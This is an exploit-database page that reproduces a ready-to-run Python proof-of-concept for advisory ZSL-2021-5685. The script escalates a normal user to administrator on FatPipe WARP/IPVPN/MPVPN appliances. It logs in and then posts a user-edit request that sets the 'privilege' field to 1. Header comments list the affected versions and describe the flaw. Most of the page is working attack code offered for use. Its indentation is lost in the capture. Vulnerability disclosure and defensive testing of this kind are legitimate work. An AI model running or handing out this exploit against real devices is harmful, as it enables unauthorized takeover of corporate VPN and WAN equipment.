Share
## https://sploitus.com/exploit?id=PACKETSTORM:164323
#!/usr/bin/env python3  
#  
#  
# FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Remote Privilege Escalation  
#  
#  
# Vendor: FatPipe Networks Inc.  
# Product web page: https://www.fatpipeinc.com  
# Affected version: WARP / IPVPN / MPVPN  
# 10.2.2r38  
# 10.2.2r25  
# 10.2.2r10  
# 10.1.2r60p82  
# 10.1.2r60p71  
# 10.1.2r60p65  
# 10.1.2r60p58s1  
# 10.1.2r60p58  
# 10.1.2r60p55  
# 10.1.2r60p45  
# 10.1.2r60p35  
# 10.1.2r60p32  
# 10.1.2r60p13  
# 10.1.2r60p10  
# 9.1.2r185  
# 9.1.2r180p2  
# 9.1.2r165  
# 9.1.2r164p5  
# 9.1.2r164p4  
# 9.1.2r164  
# 9.1.2r161p26  
# 9.1.2r161p20  
# 9.1.2r161p17  
# 9.1.2r161p16  
# 9.1.2r161p12  
# 9.1.2r161p3  
# 9.1.2r161p2  
# 9.1.2r156  
# 9.1.2r150  
# 9.1.2r144  
# 9.1.2r129  
# 7.1.2r39  
# 6.1.2r70p75-m  
# 6.1.2r70p45-m  
# 6.1.2r70p26  
# 5.2.0r34  
#  
# Summary: FatPipe Networks invented the concept of router-clustering,  
# which provides the highest level of reliability, redundancy, and speed  
# of Internet traffic for Business Continuity and communications. FatPipe  
# WARP achieves fault tolerance for companies by creating an easy method  
# of combining two or more Internet connections of any kind over multiple  
# ISPs. FatPipe utilizes all paths when the lines are up and running,  
# dynamically balancing traffic over the multiple lines, and intelligently  
# failing over inbound and outbound IP traffic when ISP services and/or  
# components fail.  
#  
# FatPipe IPVPN balances load and provides reliability among multiple  
# managed and CPE based VPNs as well as dedicated private networks. FatPipe  
# IPVPN can also provide you an easy low-cost migration path from private  
# line, Frame or Point-to-Point networks. You can aggregate multiple private,  
# MPLS and public networks without additional equipment at the provider's  
# site.  
#  
# FatPipe MPVPN, a patented router clustering device, is an essential part  
# of Disaster Recovery and Business Continuity Planning for Virtual Private  
# Network (VPN) connectivity. It makes any VPN up to 900% more secure and  
# 300% times more reliable, redundant and faster. MPVPN can take WANs with  
# an uptime of 99.5% or less and make them 99.999988% or higher, providing  
# a virtually infallible WAN. MPVPN dynamically balances load over multiple  
# lines and ISPs without the need for BGP programming. MPVPN aggregates up  
# to 10Gbps - 40Gbps of bandwidth, giving you all the reliability and speed  
# you need to keep your VPN up and running despite failures of service, line,  
# software, or hardware.  
#  
# Desc: The application suffers from a privilege escalation vulnerability.  
# A normal user (group USER, 0) can elevate her privileges by sending a HTTP  
# POST request and setting the JSON parameter 'privilege' to integer value  
# '1' gaining administrative rights (group ADMINISTRATOR, 1).  
#  
# Tested on: Apache-Coyote/1.1  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2021-5685  
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5685.php  
#  
#  
# 30.05.2016  
# 25.07.2021  
#  
#  
  
import sys  
import time#######  
import requests################  
requests.packages.urllib3.disable_warnings()  
  
if len(sys.argv) !=2:  
print  
print("********************************************************")  
print("* *")  
print("* Privilege escalation from USER to ADMINISTRATOR role *")  
print("* in *")  
print("* FatPipe WARP/IPVPN/MPVPN v10.2.2 *")  
print("* *")  
print("* ZSL-2021-5685 *")  
print("* *")  
print("********************************************************")  
print("\n[POR] Usage: ./escalator.py [IP]")  
sys.exit()  
  
ajpi=sys.argv[1]  
print  
juzer=raw_input("[UNE] Username: ")  
pasvord=raw_input("[UNE] Password: ")  
  
sesija=requests.session()  
logiranje={'loginParams':'{\"username\":\"'+juzer+'\",\"password\":\"'+pasvord+'\",\"authType\":0}'}  
  
hederi={'Sec-Ch-Ua' :'\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"92\"',  
'Accept' :'application/json, text/javascript, */*; q=0.01',  
'X-Requested-With':'XMLHttpRequest',  
'Sec-Ch-Ua-Mobile':'?0',  
'User-Agent' :'Fatnet/1.b',  
'Content-Type' :'application/x-www-form-urlencoded; charset=UTF-8',  
'Origin' :'https://'+ajpi,  
'Sec-Fetch-Site' :'same-origin',  
'Sec-Fetch-Mode' :'cors',  
'Sec-Fetch-Dest' :'empty',  
'Referer' :'https://'+ajpi+'/fpui/dataCollectionServlet',  
'Accept-Encoding' :'gzip, deflate',  
'Accept-Language' :'en-US,en;q=0.9',  
'Connection' :'close'}  
  
juarel1='https://'+ajpi+'/fpui/loginServlet'  
alo=sesija.post(juarel1,headers=hederi,data=logiranje,verify=False)  
  
if not 'success' in alo.text:  
print('[GRE] Login error.')  
sys.exit()  
else:  
print('[POR] Authentication successful.')  
  
print('[POR] Climbing the ladder...')  
  
sluba='''  
|| || .--._  
||====|| __ '---._)  
|| ||"")\ Q Q )  
||====|| =_/ o /  
|| || | \_.-;-'-,._  
||====|| | ' o---o )  
|| || \ /H __H\ /  
||====|| '-' \"")\/ |  
|| || _ |_='-)_/  
||====|| / '. )  
|| || / /  
||====|| |___/\| /  
|| || |_| | |  
||====|| / ) \\ \\  
|| || (__/ \___\\  
||====|| \_\\  
|| || / )  
||====|| (__/  
'''  
  
for k in sluba:  
sys.stdout.write(k)  
sys.stdout.flush()  
time.sleep(0.01)  
  
juarel2='https://'+ajpi+'/fpui/userServlet?loadType=set&block=userSetRequest'  
posta={  
'userList':'[{\"userName\":\"'+juzer+'\",\"oldUserName\":\"'+juzer+'\",\"privilege\":\"1\",\"password\":\"'+pasvord+'\",\"action\":\"edit\",\"state\":false}]'  
}  
stanje=sesija.post(juarel2,headers=hederi,data=posta,verify=False)  
  
if not 'true' in stanje.text:  
print('\n[GRE] Something\'s fishy!')  
sys.exit()  
else:  
print('\n[POR] You are now authorized not only to view settings, but to modify them as well. Yes indeed.')  
sys.exit()